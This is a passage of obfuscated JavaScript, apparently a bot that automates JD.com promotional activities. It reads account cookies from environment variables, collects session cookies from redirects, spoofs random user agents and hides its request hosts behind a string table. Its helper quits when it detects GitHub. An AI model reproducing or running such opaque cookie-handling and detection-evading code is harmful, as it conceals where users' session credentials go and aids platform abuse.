_0x23539d,_0x27d41f[_0x1349('368')])&&_0x23539d[_0x1349('2e')]){console[_0x1349('7')](_0x1349('379')+(_0x23539d[_0x1349('2e')]||''));}else{if(_0x27d41f[_0x1349('37a')](_0x27d41f[_0x1349('37b')],_0x27d41f[_0x1349('37c')])){console[_0x1349('7')](_0x2a5542);}else{console[_0x1349('7')](_0x2a5542);}}}}catch(_0x480c71){$[_0x1349('50')](_0x480c71,_0x14acad);}finally{if(_0x27d41f[_0x1349('37d')](_0x27d41f[_0x1349('37e')],_0x27d41f[_0x1349('37e')])){console[_0x1349('7')](_0x1349('379')+(res[_0x1349('2e')]||''));}else{_0x27d41f[_0x1349('37f')](_0x463583);}}});});}function getSimpleActInfoVo(){var _0x5d4a4a={'uxfcA':function(_0x1f4283,_0x12f6d7){return _0x1f4283==_0x12f6d7;},'mQNDv':_0x1349('54'),'jikxf':_0x1349('380'),'kvyJc':_0x1349('381'),'ROtUU':_0x1349('382'),'wiWov':_0x1349('383'),'brLBo':_0x1349('1ca'),'oSHYl':function(_0x115c96,_0x328c89){return _0x115c96+_0x328c89;},'dKYKC':_0x1349('384'),'FnwNO':_0x1349('385'),'TjrZQ':_0x1349('386'),'cJszd':_0x1349('387'),'Yfkec':_0x1349('11a'),'SYcQr':function(_0x4cf274,_0x3279df){return _0x4cf274===_0x3279df;},'pwiOk':_0x1349('388'),'EtcJJ':function(_0x55d3ea,_0x4146c6){return _0x55d3ea!==_0x4146c6;},'OUFFI':_0x1349('389'),'AVERh':_0x1349('38a'),'hrKhw':_0x1349('c3'),'Ztith':_0x1349('38b'),'TFsJN':_0x1349('38c'),'gEeYE':function(_0x54243a,_0x5defb2){return _0x54243a!=_0x5defb2;},'rpSBE':_0x1349('53'),'Mtqgb':_0x1349('38d'),'plubR':function(_0x179a40){return _0x179a40();},'ZdRdw':_0x1349('9'),'pnjKq':_0x1349('a'),'XOVsx':function(_0x45459c,_0x3e7734){return _0x45459c(_0x3e7734);},'iXgQy':_0x1349('b'),'VPwqI':function(_0x5d3e89,_0x34ef4d){return _0x5d3e89===_0x34ef4d;},'tFchO':_0x1349('38e'),'hbIRd':function(_0x172994,_0x20b753,_0x57bd2d){return _0x172994(_0x20b753,_0x57bd2d);},'JACyF':_0x1349('38f')};return new Promise(_0x2ceb02=>{var _0x96ab64={'dpjKM':function(_0x27c129,_0x2d11a6){return _0x5d4a4a[_0x1349('390')](_0x27c129,_0x2d11a6);},'XgSgI':_0x5d4a4a[_0x1349('391')],'LzStu':_0x5d4a4a[_0x1349('392')],'SuRZl':_0x5d4a4a[_0x1349('393')],'UhEQc':_0x5d4a4a[_0x1349('394')],'tkSYK':_0x5d4a4a[_0x1349('395')],'IbqDh':_0x5d4a4a[_0x1349('396')],'lICGB':function(_0x40257a,_0xd7e427){return _0x5d4a4a[_0x1349('397')](_0x40257a,_0xd7e427);},'TdTks':_0x5d4a4a[_0x1349('398')],'ymuMx':_0x5d4a4a[_0x1349('399')],'sYDiY':_0x5d4a4a[_0x1349('39a')],'TPdYb':_0x5d4a4a[_0x1349('39b')],'YfoFl':_0x5d4a4a[_0x1349('39c')],'NqJvj':function(_0x311e83,_0x5beabf){return _0x5d4a4a[_0x1349('39d')](_0x311e83,_0x5beabf);},'krxtq':_0x5d4a4a[_0x1349('39e')],'rvVRs':function(_0x28be41,_0x586ce4){return _0x5d4a4a[_0x1349('39f')](_0x28be41,_0x586ce4);},'XpzHH':_0x5d4a4a[_0x1349('3a0')],'SjjXH':function(_0x5a278c,_0x4580fd){return _0x5d4a4a[_0x1349('39d')](_0x5a278c,_0x4580fd);},'QXFni':_0x5d4a4a[_0x1349('3a1')],'DwlWL':function(_0x100fde,_0x537c8a){return _0x5d4a4a[_0x1349('390')](_0x100fde,_0x537c8a);},'LetEX':_0x5d4a4a[_0x1349('3a2')],'QdDDq':function(_0x39d5c6,_0x57d744){return _0x5d4a4a[_0x1349('39d')](_0x39d5c6,_0x57d744);},'kBZnm':_0x5d4a4a[_0x1349('3a3')],'PjlLI':_0x5d4a4a[_0x1349('3a4')],'kokVg':function(_0x157627,_0x17070b){return _0x5d4a4a[_0x1349('3a5')](_0x157627,_0x17070b);},'KWjHB':_0x5d4a4a[_0x1349('3a6')],'iOJYA':function(_0x299da7,_0x39838e){return _0x5d4a4a[_0x1349('3a5')](_0x299da7,_0x39838e);},'rhjGE':function(_0x1bf192,_0x5566d8){return _0x5d4a4a[_0x1349('390')](_0x1bf192,_0x5566d8);},'vAoNk':_0x5d4a4a[_0x1349('3a7')],'eoxhI':function(_0x285eb7){return _0x5d4a4a[_0x1349('3a8')](_0x285eb7);},'nlRkX':_0x5d4a4a[_0x1349('3a9')],'AOzQt':_0x5d4a4a[_0x1349('3aa')],'BOiKR':function(_0x5129e0,_0x2c3b83){return _0x5d4a4a[_0x1349('3ab')](_0x5129e0,_0x2c3b83);},'mINkZ':_0x5d4a4a[_0x1349('3ac')]};if(_0x5d4a4a[_0x1349('3ad')](_0x5d4a4a[_0x1349('3ae')],_0x5d4a4a[_0x1349('3ae')])){let _0x3519f9=_0x1349('e4')+$[_0x1349('36')];$[_0x1349('e9')](_0x5d4a4a[_0x1349('3af')](taskPostUrl,_0x5d4a4a[_0x1349('3b0')],_0x3519f9),async(_0x11358f,_0x54fc63,_0x51a2ba)=>{var _0x266f3f={'KvAHZ':_0x96ab64[_0x1349('3b1')],'wTaOX':_0x96ab64[_0x1349('3b2')],'BHFEp':_0x96ab64[_0x1349('3b3')],'lfVIb':_0x96ab64[_0x1349('3b4')],'pkjjW':_0x96ab64[_0x1349('3b5')],'ZsTXV':function(_0x2dd6d5,_0x2de9b5){return _0x96ab64[_0x1349('3b6')](_0x2dd6d5,_0x2de9b5);},'Uqorb':function(_0x1e5770,_0x2c9a66){return _0x96ab64[_0x1349('3b6')](_0x1e5770,_0x2c9a66);},'KNmsP':_0x96ab64[_0x1349('3b7')],'qaOhJ':_0x96ab64[_0x1349('3b8')],'ScBOf':_0x96ab64[_0x1349('3b9')],'RRPpW':_0x96ab64[_0x1349('3ba')],'MftOK':_0x96ab64[_0x1349('3bb')]};if(_0x96ab64[_0x1349('3bc')](_0x96ab64[_0x1349('3bd')],_0x96ab64[_0x1349('3bd')])){try{if(_0x11358f){if(_0x54fc63[_0x1349('be')]&&_0x96ab64[_0x1349('3be')](_0x54fc63[_0x1349('be')],0x1ed)){if(_0x96ab64[_0x1349('3bf')](_0x96ab64[_0x1349('3c0')],_0x96ab64[_0x1349('3c0')])){return{'url':_0x1349('386')+url,'body':_0x3519f9,'headers':{'Accept':_0x266f3f[_0x1349('3c1')],'Accept-Language':_0x266f3f[_0x1349('3c2')],'Accept-Encoding':_0x266f3f[_0x1349('3c3')],'Connection':_0x266f3f[_0x1349('3c4')],'Content-Type':_0x266f3f[_0x1349('3c5')],'Cookie':''+activityCookie+($[_0x1349('6b')]&&_0x266f3f[_0x1349('3c6')](_0x266f3f[_0x1349('3c7')](_0x266f3f[_0x1349('3c8')],$[_0x1349('6b')]),';')||'')+lz_jdpin_token,'Host':_0x266f3f[_0x1349('3c9')],'Origin':_0x266f3f[_0x1349('3ca')],'X-Requested-With':_0x266f3f[_0x1349('3cb')],'Referer':_0x1349('303')+$[_0x1349('36')]+_0x1349('39')+$[_0x1349('34')],'User-Agent':$['UA']}};}else{console[_0x1349('7')](_0x96ab64[_0x1349('3cc')]);$[_0x1349('13')]=!![];}}console[_0x1349('7')](''+JSON[_0x1349('3cd')](_0x11358f));console[_0x1349('7')]($[_0x1349('25')]+_0x1349('3ce'));}else{if(_0x96ab64[_0x1349('3cf')](_0x96ab64[_0x1349('3d0')],_0x96ab64[_0x1349('3d0')])){res=$[_0x1349('fb')](_0x51a2ba);if(_0x96ab64[_0x1349('3d1')](typeof res,_0x96ab64[_0x1349('3d2')])&&res[_0x1349('b1')]&&_0x96ab64[_0x1349('3d3')](res[_0x1349('b1')],!![])){if(_0x96ab64[_0x1349('3d3')](_0x96ab64[_0x1349('3d4')],_0x96ab64[_0x1349('3d5')])){_0x51a2ba=JSON[_0x1349('116')](_0x51a2ba);if(_0x96ab64[_0x1349('3be')](_0x51a2ba[_0x1349('1b8')],!![])){$[_0x1349('1b9')]=_0x51a2ba[_0x1349('b1')][_0x1349('1ba')]&&_0x51a2ba[_0x1349('b1')][_0x1349('1ba')][0x0]&&_0x51a2ba[_0x1349('b1')][_0x1349('1ba')][0x0][_0x1349('1bb')]&&_0x51a2ba[_0x1349('b1')][_0x1349('1ba')][0x0][_0x1349('1bb')][_0x1349('36')]||'';}}else{if(_0x96ab64[_0x1349('3d6')](typeof res[_0x1349('99')][_0x1349('75')],_0x96ab64[_0x1349('3d7')]))$[_0x1349('75')]=res[_0x1349('99')][_0x1349('75')];if(_0x96ab64[_0x1349('3d8')](typeof res[_0x1349('99')][_0x1349('78')],_0x96ab64[_0x1349('3d7')]))$[_0x1349('78')]=res[_0x1349('99')][_0x1349('78')];}}else if(_0x96ab64[_0x1349('3d9')](typeof res,_0x96ab64[_0x1349('3d2')])&&res[_0x1349('2e')]){console[_0x1349('7')](_0x1349('23b')+(res[_0x1349('2e')]||''));}else{if(_0x96ab64[_0x1349('3d3')](_0x96ab64[_0x1349('3da')],_0x96ab64[_0x1349('3da')])){console[_0x1349('7')](_0x51a2ba);}else{try{return JSON[_0x1349('116')](str);}catch(_0x4c9a73){console[_0x1349('7')](_0x4c9a73);$[_0x1349('24')]($[_0x1349('25')],'',_0x266f3f[_0x1349('3db')]);return[];}}}}else{console[_0x1349('7')](_0x96ab64[_0x1349('3cc')]);$[_0x1349('13')]=!![];}}}catch(_0xedad88){$[_0x1349('50')](_0xedad88,_0x54fc63);}finally{_0x96ab64[_0x1349('3dc')](_0x2ceb02);}}else{$[_0x1349('50')](e,_0x54fc63);}});}else{cookiesArr=[$[_0x1349('8')](_0x96ab64[_0x1349('3dd')]),$[_0x1349('8')](_0x96ab64[_0x1349('3de')]),..._0x96ab64[_0x1349('3df')](jsonParse,$[_0x1349('8')](_0x96ab64[_0x1349('3e0')])||'[]')[_0x1349('c')](_0x207e45=>_0x207e45[_0x1349('d')])][_0x1349('e')](_0x381714=>!!_0x381714);}});}function getToken(){var _0x3ec897={'oxfuD':_0x1349('16'),'HGziI':_0x1349('17'),'eFDXH':function(_0x23de8a,_0x417191){return _0x23de8a==_0x417191;},'Aewuq':_0x1349('c3'),'kWlpq':function(_0x1fdc07,_0x2328a5){return _0x1fdc07===_0x2328a5;},'EfMfC':function(_0xb78672,_0x497c52){return _0xb78672!=_0x497c52;},'tAMMp':_0x1349('53'),'JHnam':function(_0x1c6b53,_0x43d4ca){return _0x1c6b53==_0x43d4ca;},'PPIKo':function(_0x50153e,_0x18157a){return _0x50153e===_0x18157a;},'bqCQX':_0x1349('3e1'),'gTXhX':_0x1349('3e2'),'jzRAg':function(_0x15445e,_0x4ab183){return _0x15445e==_0x4ab183;},'VWRoF':function(_0x30cce7,_0x251193){return _0x30cce7==_0x251193;},'mhMDa':_0x1349('3e3'),'DLuNM':_0x1349('3e4'),'InIAf':function(_0x1034e0,_0x5ee98e){return _0x1034e0!=_0x5ee98e;},'gVKdB':function(_0x5e4220,_0x9926e2){return _0x5e4220!==_0x9926e2;},'OJQIj':_0x1349('3e5'),'sgTCC':function(_0x224785){return _0x224785();},'SadBc':function(_0x35c2c4,_0x192dff){return _0x35c2c4===_0x192dff;},'XSZse':_0x1349('3e6'),'torIZ':_0x1349('3e7'),'vLXAk':_0x1349('1ca'),'oaMwA':_0x1349('1c8')};return new Promise(_0x5e6a31=>{var _0x338d28={'JwWDT':_0x3ec897[_0x1349('3e8')],'RCdZe':_0x3ec897[_0x1349('3e9')],'lKzoq':function(_0x41cd09,_0x344b20){return _0x3ec897[_0x1349('3ea')](_0x41cd09,_0x344b20);},'SCyqm':_0x3ec897[_0x1349('3eb')],'mGTaN':function(_0x5d6894,_0x3aad66){return _0x3ec897[_0x1349('3ec')](_0x5d6894,_0x3aad66);},'RABkj':function(_0x57cae3,_0x5f3a86){return _0x3ec897[_0x1349('3ed')](_0x57cae3,_0x5f3a86);},'Pdhcj':_0x3ec897[_0x1349('3ee')],'yoVQK':function(_0x104158,_0x31b1c9){return _0x3ec897[_0x1349('3ef')](_0x104158,_0x31b1c9);},'jycnm':function(_0x32887f,_0x3154d1){return _0x3ec897[_0x1349('3f0')](_0x32887f,_0x3154d1);},'vxHPs':_0x3ec897[_0x1349('3f1')],'bmXVl':_0x3ec897[_0x1349('3f2')],'LZAbc':function(_0x52d7f4,_0x3906c3){return _0x3ec897[_0x1349('3f3')](_0x52d7f4,_0x3906c3);},'yBgDY':function(_0x44f9f9,_0xf6d8c9){return _0x3ec897[_0x1349('3f4')](_0x44f9f9,_0xf6d8c9);},'MCbTs':_0x3ec897[_0x1349('3f5')],'CrGDj':_0x3ec897[_0x1349('3f6')],'dcWQJ':function(_0x8ed1fe,_0x3d4c5e){return _0x3ec897[_0x1349('3f7')](_0x8ed1fe,_0x3d4c5e);},'bawgg':function(_0x98b8b8,_0x4681e7){return _0x3ec897[_0x1349('3f4')](_0x98b8b8,_0x4681e7);},'nDHQQ':function(_0x3a8f90,_0x3a7b12){return _0x3ec897[_0x1349('3f8')](_0x3a8f90,_0x3a7b12);},'BAclE':_0x3ec897[_0x1349('3f9')],'bDUOp':function(_0xa50e35){return _0x3ec897[_0x1349('3fa')](_0xa50e35);}};if(_0x3ec897[_0x1349('3fb')](_0x3ec897[_0x1349('3fc')],_0x3ec897[_0x1349('3fc')])){$[_0x1349('e9')]({'url':_0x1349('3fd'),'body':_0x3ec897[_0x1349('3fe')],'headers':{'Content-Type':_0x3ec897[_0x1349('3ff')],'Cookie':cookie,'Host':_0x3ec897[_0x1349('400')],'User-Agent':_0x1349('401')}},async(_0xdb6588,_0x48b91a,_0x51bd0a)=>{var _0x3ecf17={'IRdmB':function(_0x39e486,_0x3f496d){return _0x338d28[_0x1349('402')](_0x39e486,_0x3f496d);},'FhDly':_0x338d28[_0x1349('403')],'XRGbG':function(_0x49a70a,_0x25d573){return _0x338d28[_0x1349('404')](_0x49a70a,_0x25d573);},'xODvI':function(_0x2759f3,_0x186f55){return _0x338d28[_0x1349('405')](_0x2759f3,_0x186f55);},'mwqJr':_0x338d28[_0x1349('406')],'gJVtA':function(_0x559a73,_0x5b3410){return _0x338d28[_0x1349('405')](_0x559a73,_0x5b3410);},'aOHjY':function(_0x291332,_0x1439e4){return _0x338d28[_0x1349('407')](_0x291332,_0x1439e4);}};try{if(_0xdb6588){if(_0x338d28[_0x1349('408')](_0x338d28[_0x1349('409')],_0x338d28[_0x1349('40a')])){$[_0x1349('24')]($[_0x1349('25')],_0x338d28[_0x1349('40b')],_0x338d28[_0x1349('40c')],{'open-url':_0x338d28[_0x1349('40c')]});return;}else{console[_0x1349('7')](''+$[_0x1349('68')](_0xdb6588));console[_0x1349('7')]($[_0x1349('25')]+_0x1349('69'));}}else{let _0x3f052a=$[_0x1349('fb')](_0x51bd0a);if(_0x338d28[_0x1349('40d')](typeof _0x3f052a,_0x338d28[_0x1349('403')])&&_0x338d28[_0x1349('40e')](_0x3f052a[_0x1349('40f')],0x0)){if(_0x338d28[_0x1349('408')](_0x338d28[_0x1349('410')],_0x338d28[_0x1349('411')])){return;}else{if(_0x338d28[_0x1349('412')](typeof _0x3f052a[_0x1349('112')],_0x338d28[_0x1349('406')]))$[_0x1349('6a')]=_0x3f052a[_0x1349('112')];}}else if(_0x338d28[_0x1349('413')](typeof _0x3f052a,_0x338d28[_0x1349('403')])&&_0x3f052a[_0x1349('1e3')]){console[_0x1349('7')](_0x1349('414')+(_0x3f052a[_0x1349('1e3')]||''));}else{if(_0x338d28[_0x1349('415')](_0x338d28[_0x1349('416')],_0x338d28[_0x1349('416')])){_0x3f052a=$[_0x1349('fb')](_0x51bd0a);if(_0x3ecf17[_0x1349('417')](typeof _0x3f052a,_0x3ecf17[_0x1349('418')])&&_0x3f052a[_0x1349('b1')]&&_0x3ecf17[_0x1349('419')](_0x3f052a[_0x1349('b1')],!![])){if(_0x3ecf17[_0x1349('41a')](typeof _0x3f052a[_0x1349('99')][_0x1349('75')],_0x3ecf17[_0x1349('41b')]))$[_0x1349('75')]=_0x3f052a[_0x1349('99')][_0x1349('75')];if(_0x3ecf17[_0x1349('41c')](typeof _0x3f052a[_0x1349('99')][_0x1349('78')],_0x3ecf17[_0x1349('41b')]))$[_0x1349('78')]=_0x3f052a[_0x1349('99')][_0x1349('78')];}else if(_0x3ecf17[_0x1349('41d')](typeof _0x3f052a,_0x3ecf17[_0x1349('418')])&&_0x3f052a[_0x1349('2e')]){console[_0x1349('7')](_0x1349('23b')+(_0x3f052a[_0x1349('2e')]||''));}else{console[_0x1349('7')](_0x51bd0a);}}else{console[_0x1349('7')](_0x51bd0a);}}}}catch(_0x37aec4){$[_0x1349('50')](_0x37aec4,_0x48b91a);}finally{_0x338d28[_0x1349('41e')](_0x5e6a31);}});}else{console[_0x1349('7')](data);}});}function getCk(){var _0xa5b27d={'IDWJD':function(_0x1b3941,_0xa6e566){return _0x1b3941(_0xa6e566);},'cssYS':function(_0x57e083,_0x4d772b){return _0x57e083==_0x4d772b;},'sMVLF':_0x1349('c3'),'mPrPP':function(_0x44ba57,_0x12dff1){return _0x44ba57!=_0x12dff1;},'YAOJj':_0x1349('53'),'MbiFd':function(_0xbe3f8f,_0xc2a616){return _0xbe3f8f==_0xc2a616;},'MSBND':_0x1349('54'),'LYFEV':function(_0x5bfb2e,_0x2fdcbf){return _0x5bfb2e===_0x2fdcbf;},'SYSJm':_0x1349('41f'),'Gwltb':function(_0x331c29,_0x22fc99){return _0x331c29!==_0x22fc99;},'SFONi':_0x1349('420'),'vpWdE':_0x1349('421'),'bCcdg':function(_0x51ee31,_0xa3ea54){return _0x51ee31==_0xa3ea54;},'GbOro':_0x1349('2db'),'GtseU':_0x1349('2dc'),'DWrcf':_0x1349('2dd'),'IiehX':function(_0xd9442a,_0x48dc19){return _0xd9442a!==_0x48dc19;},'UziKH':_0x1349('422'),'qucsI':_0x1349('423'),'ABLea':function(_0x12d13a,_0x422a91){return _0x12d13a!=_0x422a91;},'lxrdn':_0x1349('424'),'DLnpP':_0x1349('425'),'FeQKm':_0x1349('426'),'pkuGa':_0x1349('427'),'wltgv':function(_0x3da0ec,_0x5aa990){return _0x3da0ec!==_0x5aa990;},'odmwm':_0x1349('428'),'cGxbC':function(_0x504613,_0x5e0c31){return _0x504613>_0x5e0c31;},'WADCU':_0x1349('13c'),'BgNRk':function(_0x3ba139,_0x34ea97){return _0x3ba139+_0x34ea97;},'tmJnj':_0x1349('13d'),'vrkqh':function(_0x2bee6e,_0x26c95c){return _0x2bee6e&&_0x26c95c;},'PHfTx':_0x1349('429'),'VTWzu':function(_0x33db2e){return _0x33db2e();}};return new Promise(_0x1aac64=>{var _0x3e8ad0={'geKnL':function(_0x2fa259,_0x47ba33){return _0xa5b27d[_0x1349('42a')](_0x2fa259,_0x47ba33);},'cxEAC':function(_0xe52a42,_0xd09a64){return _0xa5b27d[_0x1349('42b')](_0xe52a42,_0xd09a64);},'ooyLR':_0xa5b27d[_0x1349('42c')],'ijWqc':function(_0x50732c,_0x1af41c){return _0xa5b27d[_0x1349('42d')](_0x50732c,_0x1af41c);},'WljQu':_0xa5b27d[_0x1349('42e')],'iOxwf':function(_0xbc586,_0x17d935){return _0xa5b27d[_0x1349('42f')](_0xbc586,_0x17d935);},'bTJGi':_0xa5b27d[_0x1349('430')],'XhkLU':function(_0x1e9a0a,_0xcbe38a){return _0xa5b27d[_0x1349('431')](_0x1e9a0a,_0xcbe38a);},'qYidO':_0xa5b27d[_0x1349('432')],'RnffQ':function(_0x500567,_0x5d039e){return _0xa5b27d[_0x1349('433')](_0x500567,_0x5d039e);},'VbgWS':_0xa5b27d[_0x1349('434')],'ayQqz':_0xa5b27d[_0x1349('435')],'suoiR':function(_0x2ed5a0,_0x83b877){return _0xa5b27d[_0x1349('436')](_0x2ed5a0,_0x83b877);},'MPbWA':_0xa5b27d[_0x1349('437')],'OWNmo':_0xa5b27d[_0x1349('438')],'hSlJv':_0xa5b27d[_0x1349('439')],'ykuOm':function(_0x4ee614,_0x5b2b59){return _0xa5b27d[_0x1349('43a')](_0x4ee614,_0x5b2b59);},'kavqS':_0xa5b27d[_0x1349('43b')],'VuLqp':_0xa5b27d[_0x1349('43c')],'UkwOz':function(_0xea3ab7,_0x503149){return _0xa5b27d[_0x1349('43d')](_0xea3ab7,_0x503149);},'BQQfc':_0xa5b27d[_0x1349('43e')],'ufOUB':_0xa5b27d[_0x1349('43f')],'rJnhT':_0xa5b27d[_0x1349('440')],'KoXcu':_0xa5b27d[_0x1349('441')],'CIgNR':function(_0x291985,_0x2da0fe){return _0xa5b27d[_0x1349('442')](_0x291985,_0x2da0fe);},'CwfIn':_0xa5b27d[_0x1349('443')],'suyUj':function(_0x11a628,_0x4d58fc){return _0xa5b27d[_0x1349('444')](_0x11a628,_0x4d58fc);},'nmlRG':_0xa5b27d[_0x1349('445')],'KYeik':function(_0x280d1d,_0x2a4a70){return _0xa5b27d[_0x1349('446')](_0x280d1d,_0x2a4a70);},'kFZea':function(_0x8b6a5,_0x530bcd){return _0xa5b27d[_0x1349('444')](_0x8b6a5,_0x530bcd);},'QFeKD':_0xa5b27d[_0x1349('447')],'DpoAj':function(_0x44ffb5,_0x4fba52){return _0xa5b27d[_0x1349('448')](_0x44ffb5,_0x4fba52);},'URBDu':_0xa5b27d[_0x1349('449')],'oRPUu':function(_0x140d3e){return _0xa5b27d[_0x1349('44a')](_0x140d3e);}};let _0x1691c6={'url':_0x1349('303')+$[_0x1349('36')]+_0x1349('39')+$[_0x1349('34')],'followRedirect':![],'headers':{'User-Agent':$['UA']}};$[_0x1349('1b5')](_0x1691c6,async(_0x359103,_0x4e103e,_0x2ec920)=>{var _0x5a86e1={'WMEAV':function(_0x2ad8c4,_0x324bba){return _0x3e8ad0[_0x1349('44b')](_0x2ad8c4,_0x324bba);},'HluPC':_0x3e8ad0[_0x1349('44c')],'pOpwR':_0x3e8ad0[_0x1349('44d')]};try{if(_0x3e8ad0[_0x1349('44e')](_0x3e8ad0[_0x1349('44f')],_0x3e8ad0[_0x1349('44f')])){if(_0x359103){if(_0x3e8ad0[_0x1349('450')](_0x3e8ad0[_0x1349('451')],_0x3e8ad0[_0x1349('452')])){if(_0x4e103e[_0x1349('be')]&&_0x3e8ad0[_0x1349('453')](_0x4e103e[_0x1349('be')],0x1ed)){console[_0x1349('7')](_0x3e8ad0[_0x1349('44d')]);$[_0x1349('13')]=!![];}console[_0x1349('7')](''+$[_0x1349('68')](_0x359103));console[_0x1349('7')]($[_0x1349('25')]+_0x1349('32a'));}else{$[_0x1349('50')](e,_0x4e103e);}}else{let _0x3b3ada='';let _0x13c89f='';let _0x4dcafb=_0x4e103e[_0x3e8ad0[_0x1349('454')]][_0x3e8ad0[_0x1349('455')]]||_0x4e103e[_0x3e8ad0[_0x1349('454')]][_0x3e8ad0[_0x1349('456')]]||'';let _0x3d698e='';if(_0x4dcafb){if(_0x3e8ad0[_0x1349('457')](_0x3e8ad0[_0x1349('458')],_0x3e8ad0[_0x1349('459')])){if(_0x3e8ad0[_0x1349('45a')](typeof _0x4dcafb,_0x3e8ad0[_0x1349('45b')])){if(_0x3e8ad0[_0x1349('44e')](_0x3e8ad0[_0x1349('45c')],_0x3e8ad0[_0x1349('45d')])){$['UA']=_0x1349('45e')+_0x3e8ad0[_0x1349('45f')](randomString,0x28)+_0x1349('460');}else{_0x3d698e=_0x4dcafb[_0x1349('8b')](',');}}else _0x3d698e=_0x4dcafb;for(let _0x2d0a97 of _0x3d698e){if(_0x3e8ad0[_0x1349('457')](_0x3e8ad0[_0x1349('461')],_0x3e8ad0[_0x1349('462')])){let _0x5a44a1=_0x2d0a97[_0x1349('8b')](';')[0x0][_0x1349('163')]();if(_0x5a44a1[_0x1349('8b')]('=')[0x1]){if(_0x3e8ad0[_0x1349('463')](_0x3e8ad0[_0x1349('464')],_0x3e8ad0[_0x1349('464')])){$[_0x1349('50')](e,_0x4e103e);}else{if(_0x3e8ad0[_0x1349('465')](_0x5a44a1[_0x1349('165')](_0x3e8ad0[_0x1349('466')]),-0x1))_0x3b3ada=_0x3e8ad0[_0x1349('467')](_0x5a44a1[_0x1349('4d')](/ /g,''),';');if(_0x3e8ad0[_0x1349('468')](_0x5a44a1[_0x1349('165')](_0x3e8ad0[_0x1349('469')]),-0x1))_0x13c89f=_0x3e8ad0[_0x1349('467')](_0x5a44a1[_0x1349('4d')](/ /g,''),';');}}}else{let _0xb96e65=$[_0x1349('fb')](_0x2ec920);if(_0x3e8ad0[_0x1349('46a')](typeof _0xb96e65,_0x3e8ad0[_0x1349('45b')])&&_0x3e8ad0[_0x1349('46a')](_0xb96e65[_0x1349('40f')],0x0)){if(_0x3e8ad0[_0x1349('44b')](typeof _0xb96e65[_0x1349('112')],_0x3e8ad0[_0x1349('44c')]))$[_0x1349('6a')]=_0xb96e65[_0x1349('112')];}else if(_0x3e8ad0[_0x1349('46b')](typeof _0xb96e65,_0x3e8ad0[_0x1349('45b')])&&_0xb96e65[_0x1349('1e3')]){console[_0x1349('7')](_0x1349('414')+(_0xb96e65[_0x1349('1e3')]||''));}else{console[_0x1349('7')](_0x2ec920);}}}}else{if(_0x5a86e1[_0x1349('46c')](typeof res[_0x1349('99')][_0x1349('75')],_0x5a86e1[_0x1349('46d')]))$[_0x1349('75')]=res[_0x1349('99')][_0x1349('75')];if(_0x5a86e1[_0x1349('46c')](typeof res[_0x1349('99')][_0x1349('78')],_0x5a86e1[_0x1349('46d')]))$[_0x1349('78')]=res[_0x1349('99')][_0x1349('78')];}}if(_0x3e8ad0[_0x1349('46e')](_0x3b3ada,_0x13c89f))activityCookie=_0x3b3ada+'\x20'+_0x13c89f;}}else{console[_0x1349('7')](_0x5a86e1[_0x1349('46f')]);$[_0x1349('13')]=!![];}}catch(_0x146e5c){$[_0x1349('50')](_0x146e5c,_0x4e103e);}finally{if(_0x3e8ad0[_0x1349('463')](_0x3e8ad0[_0x1349('470')],_0x3e8ad0[_0x1349('470')])){console[_0x1349('7')](_0x2ec920);}else{_0x3e8ad0[_0x1349('471')](_0x1aac64);}}});});}function taskPostUrl(_0x46039e,_0x3864b0){var _0x2cd46b={'Tvlxc':_0x1349('380'),'CvMpg':_0x1349('381'),'BnbiI':_0x1349('382'),'ZKgan':_0x1349('383'),'VEfoo':_0x1349('1ca'),'vwfNd':function(_0x5d9e1a,_0x2c605a){return _0x5d9e1a+_0x2c605a;},'TLTky':_0x1349('384'),'yWwgI':_0x1349('385'),'QOVmd':_0x1349('386'),'iXKId':_0x1349('387')};return{'url':_0x1349('386')+_0x46039e,'body':_0x3864b0,'headers':{'Accept':_0x2cd46b[_0x1349('472')],'Accept-Language':_0x2cd46b[_0x1349('473')],'Accept-Encoding':_0x2cd46b[_0x1349('474')],'Connection':_0x2cd46b[_0x1349('475')],'Content-Type':_0x2cd46b[_0x1349('476')],'Cookie':''+activityCookie+($[_0x1349('6b')]&&_0x2cd46b[_0x1349('477')](_0x2cd46b[_0x1349('477')](_0x2cd46b[_0x1349('478')],$[_0x1349('6b')]),';')||'')+lz_jdpin_token,'Host':_0x2cd46b[_0x1349('479')],'Origin':_0x2cd46b[_0x1349('47a')],'X-Requested-With':_0x2cd46b[_0x1349('47b')],'Referer':_0x1349('303')+$[_0x1349('36')]+_0x1349('39')+$[_0x1349('34')],'User-Agent':$['UA']}};}function getUA(){var _0x483a8b={'JEvqA':function(_0x30e7e2,_0xcde391){return _0x30e7e2(_0xcde391);}};$['UA']=_0x1349('45e')+_0x483a8b[_0x1349('47c')](randomString,0x28)+_0x1349('460');}function randomString(_0x5990df){var _0x2b723c={'qQpvD':function(_0x28ff85,_0x592b14){return _0x28ff85||_0x592b14;},'Tmqvf':_0x1349('13e'),'RtWPB':function(_0x4f295a,_0x16143a){return _0x4f295a<_0x16143a;},'qLBfN':function(_0x47999f,_0x411bc0){return _0x47999f*_0x411bc0;}};_0x5990df=_0x2b723c[_0x1349('47d')](_0x5990df,0x20);let _0x38c416=_0x2b723c[_0x1349('47e')],_0x57652d=_0x38c416[_0x1349('3b')],_0x14f8d0='';for(i=0x0;_0x2b723c[_0x1349('47f')](i,_0x5990df);i++)_0x14f8d0+=_0x38c416[_0x1349('175')](Math[_0x1349('176')](_0x2b723c[_0x1349('480')](Math[_0x1349('91')](),_0x57652d)));return _0x14f8d0;}function jsonParse(_0x5f4372){var _0x469154={'fdqJj':function(_0x23aa09,_0x4e5ce6){return _0x23aa09==_0x4e5ce6;},'FaigH':_0x1349('481'),'AwjWp':_0x1349('11a')};if(_0x469154[_0x1349('482')](typeof _0x5f4372,_0x469154[_0x1349('483')])){try{return JSON[_0x1349('116')](_0x5f4372);}catch(_0x422ab3){console[_0x1349('7')](_0x422ab3);$[_0x1349('24')]($[_0x1349('25')],'',_0x469154[_0x1349('484')]);return[];}}};_0xodq='jsjiami.com.v6'; + +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 